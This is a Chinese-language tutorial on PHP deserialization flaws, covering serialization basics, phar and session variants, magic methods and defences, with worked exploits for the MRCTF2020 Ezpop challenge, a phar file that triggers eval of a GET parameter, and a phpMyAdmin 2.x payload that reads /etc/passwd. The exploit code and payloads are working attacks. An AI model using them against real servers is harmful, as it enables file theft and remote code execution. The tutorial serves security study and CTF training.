一、PHP反序列化漏洞基础
1、序列化与反序列化
序列化与反序列化是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,于是就有了一种能长久保存对象的方法—— PHP 的序列化,这样当我们下次要用的时候只要反序列化一下就可以了。序列化的目的是方便数据的传输和存储,. json 是为了传递数据的方便性.。
1)序列化
概念: 把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
使用函数: serialize()
示例:
//示例代码
class people{
public $name = 'sam';
private $sex = 'man';
protected $age = '20';
}
$people1 = new people();
$object = serialize($people);
print_r($object);
//输出结果:
O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
//结果解析
O表示序列化的一个类,如果此位置是A表示序列化的一个数组
6表示类名长度
people表示类名
3表示类中的属性个数
s:4:"name";s:3:"sam";表示第一个键值对的键名为name长度为4,键值为sam长度为3,都是string类型,后面类似,都是两两为一个键值对
2)反序列化
概念:反序列化就是讲序列化的数据转换为数组或者类,是序列化的逆向操作
使用函数: unserialize( )
示例:
//POST输入: ‘O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}’
$obj=$_POST[ser];
$class=unserialize($obd);
var_dump($calss);
//输出结果:
{ ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }
//结果说明:
对于序列化后的数据,private属性的对象会在前后加空格或者带上其所在的类名怎加一区分,对于protected属性需要加" * "来进行区分,而pubic属性的的对象则无需任何操作。
3)反序列化漏洞
原理: 当进行反序列化的时候这个字符串可控,并且又没有进行过滤,那么就可能存在反序列化漏洞。
通过上面的序列化和反序列化例子,我们可以知道:
- 在反序列化的时候,如果这个字符串可控,我们就可以让它反序列化出代码中任意一个类对象,并且类对象的属性是可控的。
- 同事如果类的方法被调用时(自动/手动)使用了自己成员属性的值,那么这个方法的执行结果我们就可控,所以就造成了反序列化漏洞的存在。
2、反序列化漏洞类型
常见的反序列化漏洞包含以下三种:
-
原生反序列化
即使用serialize()和unserialize()导致的反序列化漏洞。
-
phar反序列化
基本概念:phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
原理:
phar文件的格式由四部分组成,分别是 stub、maniftaet、contents和signature四部分。
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在maniftaet部分。这部分还会以序列化的形式存储用户自定义的meta-data,这就是phar反序列化漏洞的核心所在。
利用条件:
1、phar文件能够上传到服务器端
2、有可以利用的魔术方法作为跳板
3、文件操作参数可控即"/","phar"等特殊字符没有被过滤
常见的引起phar反序列化的函数:
file_exists(),file(),unlink(),is_file(),file_get_contents(),is_dir(),copy(),readfile(),fopen()等等。
-
Session反序列化
PHP session反序列化漏洞,就是当【序列化存储Session数据】与【反序列化读取Session数据】的方式不同导致session反序列化漏洞的产生
3、常见的一些魔法函数
上面有提到自动调用的方法, PHP里叫做魔术方法,不光PHP有,其他的语言也有,比如在C++里有构造函数和析构函数,对应着PHP的__construct
和__destruct
。除了这里写的魔术方法,PHP还有其他魔术方法,会在某些特定情况下被自动调用。如果我们在进行反序列化的时候,对应的类中存在能够自动调用的魔术方法,那么我们就可以去构造序列化数据,从而让其自动执行代码。对于PHP来说,常见的魔术方法如下:
-
构造函数:__construct(): 对象被实例化的时候,也就是进行序列化的时候自动调用。
-
析构函数:__destruct(): 对象被销毁前自动调用。
-
__set(key,value): 给类的私有属性赋值时自动调用。
-
__get($key): 获取类的私有属性时自动调用。
-
__isset($key): 外部使用isset()函数检测这个类的私有属性时,自动调用。
-
__unset($key): 外部使用unset()函数删除这个类的私有属性时,自动调用。
-
__clone: 当使用clone关键字,克隆对象时,自动调用。
-
__tostring(): 当使用echo等输出语句,直接打印对象时自动调用,例如上面那个代码中的echo $searialized其实就会调用这个魔术方法。
-
__sleep(): 把对象实例化成字符串的时候自动调用(上面的示例中有)
-
__wakeup(): 把字符串反序列化成对象时,会优先调用自动调用。
- …
4、漏洞利用与防御
1)漏洞利用
低于反序列化漏洞来说,要进行利用,需要构造POP利用链,这是一个相对复杂的烧脑的问题,因为我们要深入的理解发序列化后的代码调用逻辑,然后反向推理构造。最后尝试执行系统命令或代码。具体的利用思路需要我们平时多练习多刷题,然后才能在实际情况中构造好的利用链进行利用。关于利用方法,可以参考文末的参考链接。
2)漏洞防御
对于PHP发序列化漏洞防御,主要考虑一下方法:
如果序列化的内容没有用户可控参数,仅仅是服务端存储和应用,则可以通过签名认证,来避免应用接受黑客的异常输入。
增加一层序列化和反序列化接口类。这就相当于允许提供了一个白名单的过滤:只允许某些类可以被反序列化。只要你在反序列化的过程中,避免接受处理任何类型(包括类成员中的接口、泛型等),黑客其实很难控制应用反序列化过程中所使用的类,也就没有办法构造出调用链,自然也就很难利用反序列化漏洞了
(Runtime Application Self-Protection,实时程序自我保护)。RASP 通过 hook 等方式,在这些关键函数(例如:序列化,反序列化)的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截.
二、MRCTF2020-Ezpop 分析与利用
先看源码:
Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);//这里的include函数,可以让我们来进行php伪协议,这里是第一个突破口。
}
public function __invoke(){//以调用函数的方式调用一个对象时触发此方法
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){//在一个对象被当作一个字符串使用时调用,当echo一个对象时会自动触发这个方法。
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//使用了黑名单过滤了一下http协议的东西,但是不影响咱们的php伪协议。
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;//get方法用来返回$function,然后$function的值是$this->p,这里将Modifier成为了函数
return $function();
}
}
if(isset($_GET['pop'])){//get方法传参pop,然后反序列化
@unserialize($_GET['pop']);
}else{
$a=new Show;
highlight_file(__FILE__);
}
所以我们可以知道,漏洞点在include($value);
,我们可以构造$value=php:// =php://filter/read=convert.base64-encode/resource=flag.php
来读取flag文件。
然后我们在传入一个POP参数的时候,会自动在进行反序列化是会需要先调用 Show类的_wakeup()
魔术方法。 该方法简单了做了过滤,但是并不影响我们使用php伪协议。
如果__toString()
其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()
方法。
如果_get()
中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()
方法。
利用文件包含,就能使用_invoke()
读取flag.php的内容。
所以完整你POP链为:
Modifier::__invoke()<--Test::__get()<--Show::__toString()
构造exp:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return " ";//触发get()
}
}
class Test{
public $p;
}
$a= new Show('a');
$a->str = new Test(); //触发toString()
$a->str->p=new Modifier();//触发invoke()
$b=new Show($a);
echo serialize($b);
?>
得到序列化数据:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:1:"a";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
然后通过POP传入,得到base64编码后的flag:
解码后的情况:
三、Phar反序列化例题分析
这是一个比较简单的例题,源码如下:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
class MyClass{
var $Output = 'echo "hahaha"';
function __destruct(){
// TODO: Implement __destruct() method.
eval($this->Output);
}
}
file_exists($filename);
}else{
highlight_file(__FILE__);
}
可以看到,我们这里使用了 file_exists($filename)来判断传入的文件名是否存在,并且定义了一个Mycalss类,其中有可用的魔法函数 __destruct()。所以就导致了Phar反序列化漏洞的存在。
所以这里就需要构造Phar文件进行利用,构造思路如下:
定义一个Mycalss类,设置$Output为$_GET['cmd'],然后实例化这个类,写入phar文件的maniftaet 部分,然后上传文件,并访问?myClass.php?filename=poc.phar&cmd=phpinfo()
生成phar文件的代码如下:
<?php
class MyClass{
var $output = '@eval($_GET[cmd]);';
}
$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
生成的phar文件:
上传到服务端后,访问filename=phar://poc.phar&cmd=phpinfo();
四、PHPmyadmin 2.x 反序列化漏洞复现与分析
首先我们来看看payload:
POST /scripts/setup.php
.....
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
可以从Payload中看到,我们产生漏洞的类为PMA_Config类,漏洞参数为source。
我们进入该文件中看看:
if (isset($_POST['action'])) {
$action = $_POST['action'];
} else {
$action = '';
}
if (isset($_POST['configuration']) && $action != 'clear' ) {
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']);
} else {
// Start with empty configuration
$configuration = array();
}
可以看到,在传入configuration,使用了unserialize()函数进行反序列化,所以我们就需要找到可以利用的魔法函数,在包含的文件的类中查找,发现在文件开头,创建了一个 PMA_Config()类的实例化对象,我们找到这个类看看:
//file: libraries/Config.class.php
class PMA_Config
{
var $default_source = './libraries/config.default.php';
var $settings = array();
var $source = '';
var $source_mtime = 0;
var $error_config_file = false;
var $error_config_default_file = false;
var $error_pma_uri = false;
var $default_server = array();
var $done = false;
function __construct($source = null){
$this->settings = array();
$this->load($source);
$this->checkSystem();
$this->checkIsHttps();
}
function checkSystem(){
......
}
......
function __wakeup() {
if ( $this->source_mtime !== filemtime($this->getSource())
|| $this->error_config_file || $this->error_config_default_file ) {
$this->settings = array();
$this->load($this->getSource());
$this->checkSystem();
}
$this->checkIsHttps();
$this->checkCollationConnection();
}
可以看到,在这个类中,定义了魔法函数__construct
和__wakeup()
,在进行反序列化的时候,就会进行调用__wakeup()
然后调用了getSource()和load()函数。我们先看getSource函数:
function getSource() {
return $this->source;
}
可以看到,就是将类中的source的值返回,然后使用load函数进行调用:
function load($source = null)
{
$this->loadDefaults(); //调用类中的loadDefault方法判断default_source文件是否存在
if ( null !== $source ) {//如果source不为空,则调用setSource方法使用trim对source首尾去空。
$this->setSource($source);
}
if ( ! $this->checkConfigSource() ) {
return false;
}
$cfg = array();
$old_error_reporting = error_reporting(0);
if ( function_exists('file_get_contents') ) {
$eval_result =
eval( '?>' . file_get_contents($this->getSource()) ); //调用getSource函数,然后对返回值使用file_get_contents打开,最终使用eval执行。
} else {
$eval_result =
eval( '?>' . implode('\n', file($this->getSource())) );
}
error_reporting($old_error_reporting);
if ( $eval_result === false ) {
$this->error_config_file = true;
} else {
$this->error_config_file = false;
$this->source_mtime = filemtime($this->getSource());
}
if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
$this->set('collation_connection',
strip_tags($_COOKIE['pma_collation_connection']) );
} else {
$this->set('collation_connection',
$this->get('DefaultConnectionCollation') );
}
$this->checkCollationConnection();
$this->settings = PMA_array_merge_recursive($this->settings, $cfg);
return true;
}
由于我们的序列化数据可控,所以我们可以修改定义source的内容,然后在进行反序列化的时候调用__wakeup()
函数,从而使用file_get_content()函数获取文件内容。
复现结果:
五、参考链接